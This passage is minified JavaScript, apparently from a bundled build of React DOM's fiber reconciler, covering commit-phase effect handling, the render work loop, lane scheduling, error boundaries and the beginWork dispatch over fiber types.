c=l=l.next;do{if((c.tag&t)===t){var f=c.destroy;c.destroy=void 0,f!==void 0&&Il(r,a,f)}c=c.next}while(c!==l)}}function oa(t,r){if(r=r.updateQueue,r=r!==null?r.lastEffect:null,r!==null){var a=r=r.next;do{if((a.tag&t)===t){var l=a.create;a.destroy=l()}a=a.next}while(a!==r)}}function Sl(t){var r=t.ref;if(r!==null){var a=t.stateNode;t.tag,t=a,typeof r=="function"?r(t):r.current=t}}function Vp(t){var r=t.alternate;r!==null&&(t.alternate=null,Vp(r)),t.child=null,t.deletions=null,t.sibling=null,t.tag===5&&(r=t.stateNode,r!==null&&(delete r[Xt],delete r[Bo],delete r[Ms],delete r[Jg],delete r[Qg])),t.stateNode=null,t.return=null,t.dependencies=null,t.memoizedProps=null,t.memoizedState=null,t.pendingProps=null,t.stateNode=null,t.updateQueue=null}function Wp(t){return t.tag===5||t.tag===3||t.tag===4}function Hp(t){e:for(;;){for(;t.sibling===null;){if(t.return===null||Wp(t.return))return null;t=t.return}for(t.sibling.return=t.return,t=t.sibling;t.tag!==5&&t.tag!==6&&t.tag!==18;){if(t.flags&2||t.child===null||t.tag===4)continue e;t.child.return=t,t=t.child}if(!(t.flags&2))return t.stateNode}}function kl(t,r,a){var l=t.tag;if(l===5||l===6)t=t.stateNode,r?a.nodeType===8?a.parentNode.insertBefore(t,r):a.insertBefore(t,r):(a.nodeType===8?(r=a.parentNode,r.insertBefore(t,a)):(r=a,r.appendChild(t)),a=a._reactRootContainer,a!=null||r.onclick!==null||(r.onclick=Oi));else if(l!==4&&(t=t.child,t!==null))for(kl(t,r,a),t=t.sibling;t!==null;)kl(t,r,a),t=t.sibling}function bl(t,r,a){var l=t.tag;if(l===5||l===6)t=t.stateNode,r?a.insertBefore(t,r):a.appendChild(t);else if(l!==4&&(t=t.child,t!==null))for(bl(t,r,a),t=t.sibling;t!==null;)bl(t,r,a),t=t.sibling}var at=null,Wt=!1;function On(t,r,a){for(a=a.child;a!==null;)Kp(t,r,a),a=a.sibling}function Kp(t,r,a){if(Yt&&typeof Yt.onCommitFiberUnmount=="function")try{Yt.onCommitFiberUnmount(gi,a)}catch{}switch(a.tag){case 5:dt||Dr(a,r);case 6:var l=at,c=Wt;at=null,On(t,r,a),at=l,Wt=c,at!==null&&(Wt?(t=at,a=a.stateNode,t.nodeType===8?t.parentNode.removeChild(a):t.removeChild(a)):at.removeChild(a.stateNode));break;case 18:at!==null&&(Wt?(t=at,a=a.stateNode,t.nodeType===8?Ds(t.parentNode,a):t.nodeType===1&&Ds(t,a),wo(t)):Ds(at,a.stateNode));break;case 4:l=at,c=Wt,at=a.stateNode.containerInfo,Wt=!0,On(t,r,a),at=l,Wt=c;break;case 0:case 11:case 14:case 15:if(!dt&&(l=a.updateQueue,l!==null&&(l=l.lastEffect,l!==null))){c=l=l.next;do{var f=c,v=f.destroy;f=f.tag,v!==void 0&&((f&2)!==0||(f&4)!==0)&&Il(a,r,v),c=c.next}while(c!==l)}On(t,r,a);break;case 1:if(!dt&&(Dr(a,r),l=a.stateNode,typeof l.componentWillUnmount=="function"))try{l.props=a.memoizedProps,l.state=a.memoizedState,l.componentWillUnmount()}catch(_){He(a,r,_)}On(t,r,a);break;case 21:On(t,r,a);break;case 22:a.mode&1?(dt=(l=dt)||a.memoizedState!==null,On(t,r,a),dt=l):On(t,r,a);break;default:On(t,r,a)}}function Gp(t){var r=t.updateQueue;if(r!==null){t.updateQueue=null;var a=t.stateNode;a===null&&(a=t.stateNode=new f0),r.forEach(function(l){var c=I0.bind(null,t,l);a.has(l)||(a.add(l),l.then(c,c))})}}function Ht(t,r){var a=r.deletions;if(a!==null)for(var l=0;l<a.length;l++){var c=a[l];try{var f=t,v=r,_=v;e:for(;_!==null;){switch(_.tag){case 5:at=_.stateNode,Wt=!1;break e;case 3:at=_.stateNode.containerInfo,Wt=!0;break e;case 4:at=_.stateNode.containerInfo,Wt=!0;break e}_=_.return}if(at===null)throw Error(o(160));Kp(f,v,c),at=null,Wt=!1;var S=c.alternate;S!==null&&(S.return=null),c.return=null}catch(P){He(c,r,P)}}if(r.subtreeFlags&12854)for(r=r.child;r!==null;)Jp(r,t),r=r.sibling}function Jp(t,r){var a=t.alternate,l=t.flags;switch(t.tag){case 0:case 11:case 14:case 15:if(Ht(r,t),nn(t),l&4){try{Uo(3,t,t.return),oa(3,t)}catch(ne){He(t,t.return,ne)}try{Uo(5,t,t.return)}catch(ne){He(t,t.return,ne)}}break;case 1:Ht(r,t),nn(t),l&512&&a!==null&&Dr(a,a.return);break;case 5:if(Ht(r,t),nn(t),l&512&&a!==null&&Dr(a,a.return),t.flags&32){var c=t.stateNode;try{lo(c,"")}catch(ne){He(t,t.return,ne)}}if(l&4&&(c=t.stateNode,c!=null)){var f=t.memoizedProps,v=a!==null?a.memoizedProps:f,_=t.type,S=t.updateQueue;if(t.updateQueue=null,S!==null)try{_==="input"&&f.type==="radio"&&f.name!=null&&Sc(c,f),rs(_,v);var P=rs(_,f);for(v=0;v<S.length;v+=2){var U=S[v],q=S[v+1];U==="style"?Pc(c,q):U==="dangerouslySetInnerHTML"?Rc(c,q):U==="children"?lo(c,q):Q(c,U,q,P)}switch(_){case"input":Ya(c,f);break;case"textarea":zc(c,f);break;case"select":var M=c._wrapperState.wasMultiple;c._wrapperState.wasMultiple=!!f.multiple;var J=f.value;J!=null?yr(c,!!f.multiple,J,!1):M!==!!f.multiple&&(f.defaultValue!=null?yr(c,!!f.multiple,f.defaultValue,!0):yr(c,!!f.multiple,f.multiple?[]:"",!1))}c[Bo]=f}catch(ne){He(t,t.return,ne)}}break;case 6:if(Ht(r,t),nn(t),l&4){if(t.stateNode===null)throw Error(o(162));c=t.stateNode,f=t.memoizedProps;try{c.nodeValue=f}catch(ne){He(t,t.return,ne)}}break;case 3:if(Ht(r,t),nn(t),l&4&&a!==null&&a.memoizedState.isDehydrated)try{wo(r.containerInfo)}catch(ne){He(t,t.return,ne)}break;case 4:Ht(r,t),nn(t);break;case 13:Ht(r,t),nn(t),c=t.child,c.flags&8192&&(f=c.memoizedState!==null,c.stateNode.isHidden=f,!f||c.alternate!==null&&c.alternate.memoizedState!==null||(Cl=Ge())),l&4&&Gp(t);break;case 22:if(U=a!==null&&a.memoizedState!==null,t.mode&1?(dt=(P=dt)||U,Ht(r,t),dt=P):Ht(r,t),nn(t),l&8192){if(P=t.memoizedState!==null,(t.stateNode.isHidden=P)&&!U&&(t.mode&1)!==0)for(X=t,U=t.child;U!==null;){for(q=X=U;X!==null;){switch(M=X,J=M.child,M.tag){case 0:case 11:case 14:case 15:Uo(4,M,M.return);break;case 1:Dr(M,M.return);var te=M.stateNode;if(typeof te.componentWillUnmount=="function"){l=M,a=M.return;try{r=l,te.props=r.memoizedProps,te.state=r.memoizedState,te.componentWillUnmount()}catch(ne){He(l,a,ne)}}break;case 5:Dr(M,M.return);break;case 22:if(M.memoizedState!==null){Xp(q);continue}}J!==null?(J.return=M,X=J):Xp(q)}U=U.sibling}e:for(U=null,q=t;;){if(q.tag===5){if(U===null){U=q;try{c=q.stateNode,P?(f=c.style,typeof f.setProperty=="function"?f.setProperty("display","none","important"):f.display="none"):(_=q.stateNode,S=q.memoizedProps.style,v=S!=null&&S.hasOwnProperty("display")?S.display:null,_.style.display=Bc("display",v))}catch(ne){He(t,t.return,ne)}}}else if(q.tag===6){if(U===null)try{q.stateNode.nodeValue=P?"":q.memoizedProps}catch(ne){He(t,t.return,ne)}}else if((q.tag!==22&&q.tag!==23||q.memoizedState===null||q===t)&&q.child!==null){q.child.return=q,q=q.child;continue}if(q===t)break e;for(;q.sibling===null;){if(q.return===null||q.return===t)break e;U===q&&(U=null),q=q.return}U===q&&(U=null),q.sibling.return=q.return,q=q.sibling}}break;case 19:Ht(r,t),nn(t),l&4&&Gp(t);break;case 21:break;default:Ht(r,t),nn(t)}}function nn(t){var r=t.flags;if(r&2){try{e:{for(var a=t.return;a!==null;){if(Wp(a)){var l=a;break e}a=a.return}throw Error(o(160))}switch(l.tag){case 5:var c=l.stateNode;l.flags&32&&(lo(c,""),l.flags&=-33);var f=Hp(t);bl(t,f,c);break;case 3:case 4:var v=l.stateNode.containerInfo,_=Hp(t);kl(t,_,v);break;default:throw Error(o(161))}}catch(S){He(t,t.return,S)}t.flags&=-3}r&4096&&(t.flags&=-4097)}function v0(t,r,a){X=t,Qp(t)}function Qp(t,r,a){for(var l=(t.mode&1)!==0;X!==null;){var c=X,f=c.child;if(c.tag===22&&l){var v=c.memoizedState!==null||ra;if(!v){var _=c.alternate,S=_!==null&&_.memoizedState!==null||dt;_=ra;var P=dt;if(ra=v,(dt=S)&&!P)for(X=c;X!==null;)v=X,S=v.child,v.tag===22&&v.memoizedState!==null?ef(c):S!==null?(S.return=v,X=S):ef(c);for(;f!==null;)X=f,Qp(f),f=f.sibling;X=c,ra=_,dt=P}Yp(t)}else(c.subtreeFlags&8772)!==0&&f!==null?(f.return=c,X=f):Yp(t)}}function Yp(t){for(;X!==null;){var r=X;if((r.flags&8772)!==0){var a=r.alternate;try{if((r.flags&8772)!==0)switch(r.tag){case 0:case 11:case 15:dt||oa(5,r);break;case 1:var l=r.stateNode;if(r.flags&4&&!dt)if(a===null)l.componentDidMount();else{var c=r.elementType===r.type?a.memoizedProps:Vt(r.type,a.memoizedProps);l.componentDidUpdate(c,a.memoizedState,l.__reactInternalSnapshotBeforeUpdate)}var f=r.updateQueue;f!==null&&Xd(r,f,l);break;case 3:var v=r.updateQueue;if(v!==null){if(a=null,r.child!==null)switch(r.child.tag){case 5:a=r.child.stateNode;break;case 1:a=r.child.stateNode}Xd(r,v,a)}break;case 5:var _=r.stateNode;if(a===null&&r.flags&4){a=_;var S=r.memoizedProps;switch(r.type){case"button":case"input":case"select":case"textarea":S.autoFocus&&a.focus();break;case"img":S.src&&(a.src=S.src)}}break;case 6:break;case 4:break;case 12:break;case 13:if(r.memoizedState===null){var P=r.alternate;if(P!==null){var U=P.memoizedState;if(U!==null){var q=U.dehydrated;q!==null&&wo(q)}}}break;case 19:case 17:case 21:case 22:case 23:case 25:break;default:throw Error(o(163))}dt||r.flags&512&&Sl(r)}catch(M){He(r,r.return,M)}}if(r===t){X=null;break}if(a=r.sibling,a!==null){a.return=r.return,X=a;break}X=r.return}}function Xp(t){for(;X!==null;){var r=X;if(r===t){X=null;break}var a=r.sibling;if(a!==null){a.return=r.return,X=a;break}X=r.return}}function ef(t){for(;X!==null;){var r=X;try{switch(r.tag){case 0:case 11:case 15:var a=r.return;try{oa(4,r)}catch(S){He(r,a,S)}break;case 1:var l=r.stateNode;if(typeof l.componentDidMount=="function"){var c=r.return;try{l.componentDidMount()}catch(S){He(r,c,S)}}var f=r.return;try{Sl(r)}catch(S){He(r,f,S)}break;case 5:var v=r.return;try{Sl(r)}catch(S){He(r,v,S)}}}catch(S){He(r,r.return,S)}if(r===t){X=null;break}var _=r.sibling;if(_!==null){_.return=r.return,X=_;break}X=r.return}}var h0=Math.ceil,ia=K.ReactCurrentDispatcher,zl=K.ReactCurrentOwner,jt=K.ReactCurrentBatchConfig,_e=0,rt=null,Qe=null,st=0,Rt=0,Mr=Rn(0),tt=0,Zo=null,ar=0,aa=0,Tl=0,qo=null,wt=null,Cl=0,Fr=1/0,fn=null,sa=!1,Rl=null,jn=null,la=!1,$n=null,ua=0,Vo=0,Bl=null,ca=-1,da=0;function ft(){return(_e&6)!==0?Ge():ca!==-1?ca:ca=Ge()}function Ln(t){return(t.mode&1)===0?1:(_e&2)!==0&&st!==0?st&-st:Xg.transition!==null?(da===0&&(da=Hc()),da):(t=be,t!==0||(t=window.event,t=t===void 0?16:nd(t.type)),t)}function Kt(t,r,a,l){if(50<Vo)throw Vo=0,Bl=null,Error(o(185));vo(t,a,l),((_e&2)===0||t!==rt)&&(t===rt&&((_e&2)===0&&(aa|=a),tt===4&&Dn(t,st)),Et(t,l),a===1&&_e===0&&(r.mode&1)===0&&(Fr=Ge()+500,Di&&Pn()))}function Et(t,r){var a=t.callbackNode;Xh(t,r);var l=wi(t,t===rt?st:0);if(l===0)a!==null&&qc(a),t.callbackNode=null,t.callbackPriority=0;else if(r=l&-l,t.callbackPriority!==r){if(a!=null&&qc(a),r===1)t.tag===0?Yg(nf.bind(null,t)):Fd(nf.bind(null,t)),Kg(function(){(_e&6)===0&&Pn()}),a=null;else{switch(Kc(l)){case 1:a=cs;break;case 4:a=Vc;break;case 16:a=hi;break;case 536870912:a=Wc;break;default:a=hi}a=df(a,tf.bind(null,t))}t.callbackPriority=r,t.callbackNode=a}}function tf(t,r){if(ca=-1,da=0,(_e&6)!==0)throw Error(o(327));var a=t.callbackNode;if(Ur()&&t.callbackNode!==a)return null;var l=wi(t,t===rt?st:0);if(l===0)return null;if((l&30)!==0||(l&t.expiredLanes)!==0||r)r=pa(t,l);else{r=l;var c=_e;_e|=2;var f=of();(rt!==t||st!==r)&&(fn=null,Fr=Ge()+500,lr(t,r));do try{_0();break}catch(_){rf(t,_)}while(!0);Gs(),ia.current=f,_e=c,Qe!==null?r=0:(rt=null,st=0,r=tt)}if(r!==0){if(r===2&&(c=ds(t),c!==0&&(l=c,r=Pl(t,c))),r===1)throw a=Zo,lr(t,0),Dn(t,l),Et(t,Ge()),a;if(r===6)Dn(t,l);else{if(c=t.current.alternate,(l&30)===0&&!g0(c)&&(r=pa(t,l),r===2&&(f=ds(t),f!==0&&(l=f,r=Pl(t,f))),r===1))throw a=Zo,lr(t,0),Dn(t,l),Et(t,Ge()),a;switch(t.finishedWork=c,t.finishedLanes=l,r){case 0:case 1:throw Error(o(345));case 2:ur(t,wt,fn);break;case 3:if(Dn(t,l),(l&130023424)===l&&(r=Cl+500-Ge(),10<r)){if(wi(t,0)!==0)break;if(c=t.suspendedLanes,(c&l)!==l){ft(),t.pingedLanes|=t.suspendedLanes&c;break}t.timeoutHandle=Ls(ur.bind(null,t,wt,fn),r);break}ur(t,wt,fn);break;case 4:if(Dn(t,l),(l&4194240)===l)break;for(r=t.eventTimes,c=-1;0<l;){var v=31-Ut(l);f=1<<v,v=r[v],v>c&&(c=v),l&=~f}if(l=c,l=Ge()-l,l=(120>l?120:480>l?480:1080>l?1080:1920>l?1920:3e3>l?3e3:4320>l?4320:1960*h0(l/1960))-l,10<l){t.timeoutHandle=Ls(ur.bind(null,t,wt,fn),l);break}ur(t,wt,fn);break;case 5:ur(t,wt,fn);break;default:throw Error(o(329))}}}return Et(t,Ge()),t.callbackNode===a?tf.bind(null,t):null}function Pl(t,r){var a=qo;return t.current.memoizedState.isDehydrated&&(lr(t,r).flags|=256),t=pa(t,r),t!==2&&(r=wt,wt=a,r!==null&&Nl(r)),t}function Nl(t){wt===null?wt=t:wt.push.apply(wt,t)}function g0(t){for(var r=t;;){if(r.flags&16384){var a=r.updateQueue;if(a!==null&&(a=a.stores,a!==null))for(var l=0;l<a.length;l++){var c=a[l],f=c.getSnapshot;c=c.value;try{if(!Zt(f(),c))return!1}catch{return!1}}}if(a=r.child,r.subtreeFlags&16384&&a!==null)a.return=r,r=a;else{if(r===t)break;for(;r.sibling===null;){if(r.return===null||r.return===t)return!0;r=r.return}r.sibling.return=r.return,r=r.sibling}}return!0}function Dn(t,r){for(r&=~Tl,r&=~aa,t.suspendedLanes|=r,t.pingedLanes&=~r,t=t.expirationTimes;0<r;){var a=31-Ut(r),l=1<<a;t[a]=-1,r&=~l}}function nf(t){if((_e&6)!==0)throw Error(o(327));Ur();var r=wi(t,0);if((r&1)===0)return Et(t,Ge()),null;var a=pa(t,r);if(t.tag!==0&&a===2){var l=ds(t);l!==0&&(r=l,a=Pl(t,l))}if(a===1)throw a=Zo,lr(t,0),Dn(t,r),Et(t,Ge()),a;if(a===6)throw Error(o(345));return t.finishedWork=t.current.alternate,t.finishedLanes=r,ur(t,wt,fn),Et(t,Ge()),null}function Al(t,r){var a=_e;_e|=1;try{return t(r)}finally{_e=a,_e===0&&(Fr=Ge()+500,Di&&Pn())}}function sr(t){$n!==null&&$n.tag===0&&(_e&6)===0&&Ur();var r=_e;_e|=1;var a=jt.transition,l=be;try{if(jt.transition=null,be=1,t)return t()}finally{be=l,jt.transition=a,_e=r,(_e&6)===0&&Pn()}}function Ol(){Rt=Mr.current,Ne(Mr)}function lr(t,r){t.finishedWork=null,t.finishedLanes=0;var a=t.timeoutHandle;if(a!==-1&&(t.timeoutHandle=-1,Hg(a)),Qe!==null)for(a=Qe.return;a!==null;){var l=a;switch(qs(l),l.tag){case 1:l=l.type.childContextTypes,l!=null&&$i();break;case 3:$r(),Ne(gt),Ne(lt),rl();break;case 5:tl(l);break;case 4:$r();break;case 13:Ne(Ue);break;case 19:Ne(Ue);break;case 10:Js(l.type._context);break;case 22:case 23:Ol()}a=a.return}if(rt=t,Qe=t=Mn(t.current,null),st=Rt=r,tt=0,Zo=null,Tl=aa=ar=0,wt=qo=null,rr!==null){for(r=0;r<rr.length;r++)if(a=rr[r],l=a.interleaved,l!==null){a.interleaved=null;var c=l.next,f=a.pending;if(f!==null){var v=f.next;f.next=c,l.next=v}a.pending=l}rr=null}return t}function rf(t,r){do{var a=Qe;try{if(Gs(),Gi.current=Xi,Ji){for(var l=Ze.memoizedState;l!==null;){var c=l.queue;c!==null&&(c.pending=null),l=l.next}Ji=!1}if(ir=0,nt=et=Ze=null,$o=!1,Lo=0,zl.current=null,a===null||a.return===null){tt=1,Zo=r,Qe=null;break}e:{var f=t,v=a.return,_=a,S=r;if(r=st,_.flags|=32768,S!==null&&typeof S=="object"&&typeof S.then=="function"){var P=S,U=_,q=U.tag;if((U.mode&1)===0&&(q===0||q===11||q===15)){var M=U.alternate;M?(U.updateQueue=M.updateQueue,U.memoizedState=M.memoizedState,U.lanes=M.lanes):(U.updateQueue=null,U.memoizedState=null)}var J=Tp(v);if(J!==null){J.flags&=-257,Cp(J,v,_,f,r),J.mode&1&&zp(f,P,r),r=J,S=P;var te=r.updateQueue;if(te===null){var ne=new Set;ne.add(S),r.updateQueue=ne}else te.add(S);break e}else{if((r&1)===0){zp(f,P,r),jl();break e}S=Error(o(426))}}else if($e&&_.mode&1){var Je=Tp(v);if(Je!==null){(Je.flags&65536)===0&&(Je.flags|=256),Cp(Je,v,_,f,r),Hs(Lr(S,_));break e}}f=S=Lr(S,_),tt!==4&&(tt=2),qo===null?qo=[f]:qo.push(f),f=v;do{switch(f.tag){case 3:f.flags|=65536,r&=-r,f.lanes|=r;var C=kp(f,S,r);Yd(f,C);break e;case 1:_=S;var k=f.type,R=f.stateNode;if((f.flags&128)===0&&(typeof k.getDerivedStateFromError=="function"||R!==null&&typeof R.componentDidCatch=="function"&&(jn===null||!jn.has(R)))){f.flags|=65536,r&=-r,f.lanes|=r;var W=bp(f,_,r);Yd(f,W);break e}}f=f.return}while(f!==null)}sf(a)}catch(re){r=re,Qe===a&&a!==null&&(Qe=a=a.return);continue}break}while(!0)}function of(){var t=ia.current;return ia.current=Xi,t===null?Xi:t}function jl(){(tt===0||tt===3||tt===2)&&(tt=4),rt===null||(ar&268435455)===0&&(aa&268435455)===0||Dn(rt,st)}function pa(t,r){var a=_e;_e|=2;var l=of();(rt!==t||st!==r)&&(fn=null,lr(t,r));do try{y0();break}catch(c){rf(t,c)}while(!0);if(Gs(),_e=a,ia.current=l,Qe!==null)throw Error(o(261));return rt=null,st=0,tt}function y0(){for(;Qe!==null;)af(Qe)}function _0(){for(;Qe!==null&&!qh();)af(Qe)}function af(t){var r=cf(t.alternate,t,Rt);t.memoizedProps=t.pendingProps,r===null?sf(t):Qe=r,zl.current=null}function sf(t){var r=t;do{var a=r.alternate;if(t=r.return,(r.flags&32768)===0){if(a=d0(a,r,Rt),a!==null){Qe=a;return}}else{if(a=p0(a,r),a!==null){a.flags&=32767,Qe=a;return}if(t!==null)t.flags|=32768,t.subtreeFlags=0,t.deletions=null;else{tt=6,Qe=null;return}}if(r=r.sibling,r!==null){Qe=r;return}Qe=r=t}while(r!==null);tt===0&&(tt=5)}function ur(t,r,a){var l=be,c=jt.transition;try{jt.transition=null,be=1,w0(t,r,a,l)}finally{jt.transition=c,be=l}return null}function w0(t,r,a,l){do Ur();while($n!==null);if((_e&6)!==0)throw Error(o(327));a=t.finishedWork;var c=t.finishedLanes;if(a===null)return null;if(t.finishedWork=null,t.finishedLanes=0,a===t.current)throw Error(o(177));t.callbackNode=null,t.callbackPriority=0;var f=a.lanes|a.childLanes;if(eg(t,f),t===rt&&(Qe=rt=null,st=0),(a.subtreeFlags&2064)===0&&(a.flags&2064)===0||la||(la=!0,df(hi,function(){return Ur(),null})),f=(a.flags&15990)!==0,(a.subtreeFlags&15990)!==0||f){f=jt.transition,jt.transition=null;var v=be;be=1;var _=_e;_e|=4,zl.current=null,m0(t,a),Jp(a,t),Mg(js),Ii=!!Os,js=Os=null,t.current=a,v0(a),Vh(),_e=_,be=v,jt.transition=f}else t.current=a;if(la&&(la=!1,$n=t,ua=c),f=t.pendingLanes,f===0&&(jn=null),Kh(a.stateNode),Et(t,Ge()),r!==null)for(l=t.onRecoverableError,a=0;a<r.length;a++)c=r[a],l(c.value,{componentStack:c.stack,digest:c.digest});if(sa)throw sa=!1,t=Rl,Rl=null,t;return(ua&1)!==0&&t.tag!==0&&Ur(),f=t.pendingLanes,(f&1)!==0?t===Bl?Vo++:(Vo=0,Bl=t):Vo=0,Pn(),null}function Ur(){if($n!==null){var t=Kc(ua),r=jt.transition,a=be;try{if(jt.transition=null,be=16>t?16:t,$n===null)var l=!1;else{if(t=$n,$n=null,ua=0,(_e&6)!==0)throw Error(o(331));var c=_e;for(_e|=4,X=t.current;X!==null;){var f=X,v=f.child;if((X.flags&16)!==0){var _=f.deletions;if(_!==null){for(var S=0;S<_.length;S++){var P=_[S];for(X=P;X!==null;){var U=X;switch(U.tag){case 0:case 11:case 15:Uo(8,U,f)}var q=U.child;if(q!==null)q.return=U,X=q;else for(;X!==null;){U=X;var M=U.sibling,J=U.return;if(Vp(U),U===P){X=null;break}if(M!==null){M.return=J,X=M;break}X=J}}}var te=f.alternate;if(te!==null){var ne=te.child;if(ne!==null){te.child=null;do{var Je=ne.sibling;ne.sibling=null,ne=Je}while(ne!==null)}}X=f}}if((f.subtreeFlags&2064)!==0&&v!==null)v.return=f,X=v;else e:for(;X!==null;){if(f=X,(f.flags&2048)!==0)switch(f.tag){case 0:case 11:case 15:Uo(9,f,f.return)}var C=f.sibling;if(C!==null){C.return=f.return,X=C;break e}X=f.return}}var k=t.current;for(X=k;X!==null;){v=X;var R=v.child;if((v.subtreeFlags&2064)!==0&&R!==null)R.return=v,X=R;else e:for(v=k;X!==null;){if(_=X,(_.flags&2048)!==0)try{switch(_.tag){case 0:case 11:case 15:oa(9,_)}}catch(re){He(_,_.return,re)}if(_===v){X=null;break e}var W=_.sibling;if(W!==null){W.return=_.return,X=W;break e}X=_.return}}if(_e=c,Pn(),Yt&&typeof Yt.onPostCommitFiberRoot=="function")try{Yt.onPostCommitFiberRoot(gi,t)}catch{}l=!0}return l}finally{be=a,jt.transition=r}}return!1}function lf(t,r,a){r=Lr(a,r),r=kp(t,r,1),t=An(t,r,1),r=ft(),t!==null&&(vo(t,1,r),Et(t,r))}function He(t,r,a){if(t.tag===3)lf(t,t,a);else for(;r!==null;){if(r.tag===3){lf(r,t,a);break}else if(r.tag===1){var l=r.stateNode;if(typeof r.type.getDerivedStateFromError=="function"||typeof l.componentDidCatch=="function"&&(jn===null||!jn.has(l))){t=Lr(a,t),t=bp(r,t,1),r=An(r,t,1),t=ft(),r!==null&&(vo(r,1,t),Et(r,t));break}}r=r.return}}function E0(t,r,a){var l=t.pingCache;l!==null&&l.delete(r),r=ft(),t.pingedLanes|=t.suspendedLanes&a,rt===t&&(st&a)===a&&(tt===4||tt===3&&(st&130023424)===st&&500>Ge()-Cl?lr(t,0):Tl|=a),Et(t,r)}function uf(t,r){r===0&&((t.mode&1)===0?r=1:(r=_i,_i<<=1,(_i&130023424)===0&&(_i=4194304)));var a=ft();t=cn(t,r),t!==null&&(vo(t,r,a),Et(t,a))}function x0(t){var r=t.memoizedState,a=0;r!==null&&(a=r.retryLane),uf(t,a)}function I0(t,r){var a=0;switch(t.tag){case 13:var l=t.stateNode,c=t.memoizedState;c!==null&&(a=c.retryLane);break;case 19:l=t.stateNode;break;default:throw Error(o(314))}l!==null&&l.delete(r),uf(t,a)}var cf;cf=function(t,r,a){if(t!==null)if(t.memoizedProps!==r.pendingProps||gt.current)_t=!0;else{if((t.lanes&a)===0&&(r.flags&128)===0)return _t=!1,c0(t,r,a);_t=(t.flags&131072)!==0}else _t=!1,$e&&(r.flags&1048576)!==0&&Ud(r,Fi,r.index);switch(r.lanes=0,r.tag){case 2:var l=r.type;na(t,r),t=r.pendingProps;var c=Rr(r,lt.current);jr(r,a),c=al(null,r,l,t,c,a);var f=sl();return r.flags|=1,typeof c=="object"&&c!==null&&typeof c.render=="function"&&c.$$typeof===void 0?(r.tag=1,r.memoizedState=null,r.updateQueue=null,yt(l)?(f=!0,Li(r)):f=!1,r.memoizedState=c.state!==null&&c.state!==void 0?c.state:null,Xs(r),c.updater=ea,r.stateNode=c,c._reactInternals=r,fl(r,l,t,a),r=gl(null,r,l,!0,f,a)):(r.tag=0,$e&&f&&Zs(r),pt(null,r,c,a),r=r.child),r;case 16:l=r.elementType;e:{switch(na(t,r),t=r.pendingProps,c=l._init,l=c(l._payload),r.type=l,c=r.tag=k0(l),t=Vt(l,t),c){case 0:r=hl(null,r,l,t,a);break e;case 1:r=Op(null,r,l,t,a);break e;case 11:r=Rp(null,r,l,t,a);break e;case 14:r=Bp(null,r,l,Vt(l.type,t),a);break e}throw Error(o(306,l,""))}return r;case 0:return l=r.type,c=r.pendingProps,c=r.elementType===l?c:Vt(l,c),hl(t,r,l,c,a);case 1:return l=r.type,c=r.pendingProps,c=r.elementType===l?c:Vt(l,c),Op(t,r,l,c,a);case 3:e:{if(jp(r),t===null)throw Error(o(387));l=r.pendingProps,f=r.memoizedState,c=f.element,Qd(t,r),Hi(r,l,null,a);var v=r.memoizedState;if(l=v.element,f.isDehydrated)if(f={element:l,isDehydrated:!1,cache:v.cache,pendingSuspenseBoundaries:v.pendingSuspenseBoundaries,transitions:v.transitions},r.updateQueue.baseState=f,r.memoizedState=f,r.flags&256){c=Lr(Error(o(423)),r),r=$p(t,r,l,a,c);break e}else if(l!==c){c=Lr(Error(o(424)),r),r=$p(t,r,l,a,c);break e}else for(Ct=Cn(r.stateNode.containerInfo.firstChild),Tt=r,$e=!0,qt=null,a=Gd(r,null,l,a),r.child=a;a;)a.flags=a.flags&-3|4096,a=a.sibling;else{if(Nr(),l===c){r=pn(t,r,a);break e}pt(t,r,l,a)}r=r.child}return r;case 5:return ep(r),t===null&&Ws(r),l=r.type,c=r.pendingProps,f=t!==null?t.memoizedProps:null,v=c.children,$s(l,c)?v=null:f!==null&&$s(l,f)&&(r.flags|=32),Ap(t,r),pt(t,r,v,a),r.child;case 6:return t===null&&Ws(r),null;case 13:return Lp(t,r,a);case 4:return el(r,r.stateNode.containerInfo),l=r.pendingProps,t===null?r.child=Ar(r,null,l,a):pt(t,r,l,a),r.child;case 11:return l=r.type,c=r.pendingProps,c=r.elementType===l?c:Vt(l,c),Rp(t,r,l,c,a);case 7:return pt(t,r,r.pendingProps,a),r.child;case 8:return pt(t,r,r.pendingProps.children,a),r.child;case 12:return pt(t,r,r.pendingProps.children,a),r.child;case 10:e:{if(l=r.type._context,c=r.pendingProps,f=r.memoizedProps,v=c.value,Re(qi,l._currentValue),l._currentValue=v,f!==null)if(Zt(f.value,v)){if(f.children===c.children&&!gt.current){r=pn(t,r,a);break e}}else for(f=r.child,f!==null&&(f.return=r);f!==null;){var _=f.dependencies;if(_!==null){v=f.child;for(var S=_.firstContext;S!==null;){if(S.context===l){if(f.tag===1){S=dn(-1,a&-a),S.tag=2;var P=f.updateQueue;if(P!==null){P=P.shared;var U=P.pending;U===null?S.next=S:(S.next=U.next,U.next=S),P.pending=S}}f.lanes|=a,S=f.alternate,S!==null&&(S.lanes|=a),Qs(f.return,a,r),_.lanes|=a;break}S=S.next}}else if(f.tag===10)v=f.type===r.type?null:f.child;else if(f.tag===18){if(v=f.return,v===null)throw Error(o(341));v.lanes|=a,_=v.alternate,_!==null&&(_.lanes|=a),Qs(v,a,r),v=f.sibling}else v=f.child;if(v!==null)v.return=f;else for(v=f;v!==null;){if(v===r){v=null;break}if(f=v.sibling,f!==null){f.return=v.return,v=f;break}v=v.return}f=v}pt(t,r,c.children,a),r=r.child}return r;case 9:return c=r.type,l=r.pendingProps.children,jr(r,a),c=At(c),l=l(c),r.flags|=1,pt(t,r,l,a),r.child;case 14:return l=r.type,c=Vt(l,r.pendingProps),c=Vt(l.type,c),Bp(t,r,l,c,a);case 15:return Pp(t,r,r.type,r.pendingProps,a);case 17:return l=r.type,c=r.pendingProps,c=r.elementType===l?c:Vt(l,c),na(t,r),r.tag=1,yt(l)?(t=!0,Li(r)):t=!1,jr(r,a),Ip(r,l,c),fl(r,l,c,a),gl(null,r,l,!0,t,a);case 19:return Mp(t,r,a);case 22:return Np(t,r,a)}throw Error(o(156,r.tag))};function df(t,r){return Zc(t,r)}function S0(t,r,a,l){this.tag=t,this.key=a,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=r,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=l,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function $t(t,r,a,l){return new S0(t,r,a,l)}function $l(t){return t=t.prototype,!(!t||!t.isReactComponent)}function k0(t){if(typeof t=="function")return 